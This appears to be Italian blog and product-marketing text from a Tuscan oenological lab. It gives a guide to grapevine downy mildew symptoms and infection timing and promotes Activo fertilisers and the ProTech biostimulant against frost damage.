I nostri concimi sono registrati per uso BIO, lavorano sulla pianta, indipendentemente da piogge o dagli altri parametri. Activo Rame e Activo Mn-Zn stimolano la pianta, che diventa rapidamente forte e vigorosa. Qui trovi la scheda tecnica e qui invece qualche dettaglio in più su Activo Rame. Se invece ti interessa di più Activo Mn-Zn, qui puoi trovare maggiori informazioni e qui la sua scheda tecnica.

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Peronospora della vite, conoscerla per difendersi. https://laboratorioenologicotoscano.it/peronospora-della-vite-conoscerla-per-difendersi/ https://laboratorioenologicotoscano.it/peronospora-della-vite-conoscerla-per-difendersi/#comments Thu, 02 Apr 2020 07:30:43 +0000 http://laboratorioenologicotoscano.it/?p=4636 Quante volte ti è successo di fare i trattamenti perfetti, rispettando dosaggi e tempistiche dei fitofarmaci e nonostante tutto aver avuto danni da peronospora durante la stagione?

Leggi la nostra guida per la difesa alla peronospora, i nostri consigli aiutano i viticoltori di tutta Italia a fare ottimi raccolti da oltre 70 anni!

Cos’è la peronospora, conoscere il patogeno per affrontare la stagione

La peronospora è una patologia della vite causata dal fungo Plasmopara viticola, molto presente in natura e molto presente negli ambienti di vigneto.

In annate molto piovose e umide la peronospora può causare danni ingenti e addirittura compromettere la produzione dell’anno successivo.

Il fungo si attiva in presenza di acqua, pertanto giornate prevalentemente soleggiate e ventilate, con poca o assente bagnatura fogliare, scongiurano l’insorgenza della patologia.

Per poter ottimizzare la difesa da questo fungo patogeno occorre comprenderne a pieno il ciclo vitale e le modalità di infezione. La conoscenza permette di ottimizzare i trattamenti di difesa con conseguente notevole risparmio economico e risultato produttivo.

Sintomatologia, come riconoscere i sintomi

ATTENZIONE: Tutti gli organi erbacei della vite sono suscettibili alla patologia

→ Pagina superiore delle foglie: macchie decolorate traslucide anche estese dai contorni regolari, giallastre nella maggior parte dei casi, rossastre in alcune varietà a bacca rossa, note come macchie d’olio. Con il tempo queste macchie tendono ad imbrunirsi e necrotizzare.

→ Pagina inferiore delle foglie: in corrispondenza delle macchie d’olio sulla pagina superiore, si possono formare efflorescenze biancastre.

→ Su foglie vecchie: al posto delle macchie d’olio possono formarsi macchie più piccole di forma poligonale delimitate dalle nervature, così dette macchie di peronospora a mosaico.

→ Sui tralci: specialmente in prossima dei nodi, in condizioni particolarmente favorevoli al fungo; i sintomi consistono in aree prima idropiche, poi livide e successivamente necrotiche. Spesso si originano spaccature longitudinali. Le infezioni sui tralci ne causano un accrescimento unilaterale, determinando la tipica crescita piegata ad “S” o ad uncino.

→ Sui grappoli: l’infezione può avvenire direttamente o indirettamente. Sulle infiorescenze e subito prima dell’allegagione, può mostrare gli stessi sintomi dei tralci (macchie livide, ipertrofie e piegature ad “S” o ad uncino). Queste deformazioni sono dovute principalmente ad infezioni primarie del fungo (causate dalle spore svernanti rimaste sui tralci e sulle gemme dall’anno prima). Successivamente i grappoli possono essere colpiti dal fungo come le altre parti erbacee e mostrare sintomi quali fruttificazioni biancastre o opalescenza.

→ Sui grappoli più vecchi: l’infezione si manifesta anche senza fruttificazioni, rimanendo attiva dentro gli acini e determinandone una colorazione brunastra con conseguente perdita di turgore e avvizzimento (peronospora larvata).

Quando si verificano le infezioni?

Lo sviluppo di questa patologia è fortemente legato alla presenza di determinati parametri meteo che per ottenere un buon risultato con la difesa bisogna conoscere e valutare di volta in volta durante la stagione. Un buon tecnico agronomico è in grado di valutare rapidamente la necessità del trattamento in base ai dati meteo e alla conoscenza dello stadio fenologico della vite.

Il sistema empirico più semplice da valutare e da applicare è la “regola dei 3 dieci” (10 cm di lunghezza dei tralci, 10 mm di pioggia nelle precedenti 24h e 10 gradi di temperatura minima) che può aiutare ad individuare il periodo di incubazione dell’infezione primaria.

Bisogna poi tenere a mente che con ogni pioggia successiva si ripresenta il rischio di infezioni secondarie.

Considerando la permanenza del prodotto di copertura utilizzato e combinandolo con le piogge determinanti rischio di infezioni secondarie si calcola di volta in volta il momento del trattamento.

Se si è in regime biologico e si utilizza soltanto rame, bisogna tenere di conto che piogge di 25-30mm dilavano quasi totalmente i sali di rame, azzerando la copertura.

La nostra soluzione

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Cosa accade quando le temperature vanno sotto zero, improvvisamente, nelle prime fasi di vegetazione delle piante?

Il comportamento alle basse temperature dipende soprattutto dalla resistenza specifica di ogni varietà. Gli stress dovuti alle temperature sono infatti gestiti da geni specifici, che determinano la concentrazione di sostanze efficaci come “antigelo”. L’abbassamento repentino delle temperature non permette alle piante di attivare metabolismi d’emergenza, solo quelle varietà che già presentano concentrazioni più alte di “antigelo” non subiscono danni.

I danni, in caso di congelamento, avvengono sia a livello cellulare ed extra cellulare. Il congelamento causa uno stress molto simile a quello da siccità, poiché l’acqua che si trova nello spazio extra cellulare, meno ricca di sali e proteine, tende a congelare causando un differenziale osmotico importante e conseguente continua perdita d’acqua.

Quali sono i fattori di resistenza al congelamento?

→ La composizione delle membrane (maggiore presenza di acidi grassi insaturi determina temperature di solidificazione più basse e quindi maggiore resistenza)

→ la quantità di elettroliti, modificando il potenziale

→ La qualità delle proteine PR, fra queste ne esistono di specifiche che fungono da anticongelante.

La soluzione più efficace è quindi rendere la pianta forte e vigorosa in previsione di forte e repentino abbassamento delle temperature, ma come si può fare? La risposta è negli idrolizzati proteici specifici, unici ad avere l’effetto di stimolazione in questa situazione, in modo del tutto naturale e rapido.

 

Il prodotto di riferimento è ProTech (idrolizzato proteico specifico), grande efficacia (superiore anche a quella delle alghe) in caso di gelate e di altri stress abiotici proprio per la sua rapida azione di biostimolazione di composti specifici all’interno della pianta.

I peptidi con dimensioni e taglio molecolare specifico presenti in ProTech hanno dimostrato di stimolare i processi di resistenza molto rapidamente e con grande efficacia.

In molti casi è stato sufficiente trattare poche ore prima della prevista gelata per ottenere un efficace resistenza al freddo dimostrando una grande ed importante risposta.

I vantaggi dell’uso di ProTech non finiscono alla prevenzione, abbiamo infatti osservato che su piante danneggiate (non completamente) c’è stata una decisa risposta metabolica che ha ristabilito la normalità quasi totale, scongiurando il disseccamento o la perdita di produzione.

Inoltre, ProTech, grazie al pool variegato e unico di peptidi, agisce su molti metabolismi, rendendo la pianta pronta ad una importante serie di stress. Le piante trattate sono risultate più resistenti dei testimoni anche alle condizioni successive di siccità e carenza idrica.

protech sul freddo

Nell’immagine in alto si può vedere una pianta giovane che ha subito danni da gelo e, a fianco, la risposta dopo il trattamento con ProTech. Ovviamente i tessuti danneggiati, ma non completamente compromessi sono rimasti circoscritti e le parti ancora vitali sono rimaste attive. La pianta non ha continuato il processo di disseccamento dovuto ai danni subiti.

Questo ha permesso la normale prosecuzione della vegetazione non compromettendo la produzione, le foglie troppo danneggiate sono poi state sostituite rapidamente.

Con nostra gradita sorpresa, chi ha utilizzato ProTech anche a seguito di un disseccamento diffuso e disteso del vigneto sui nuovi germogli di seconda gemma, ha ottenuto una perfetta maturazione del legno con regolare agostatura e nessun problema sulla potatura invernale nonostante il mese di ritardo sulla stagione dovuto alla gelata.

Il nostro consiglio è quello di intervenire preventivamente, il giorno prima sarebbe ottimale.

 

Se vuoi maggiori informazioni sul prodotto, dove trovarlo o come funziona, puoi cliccare sul link per la scheda tecnica qui invece trovi prezzo e informazioni su come acquistare il prodotto

 

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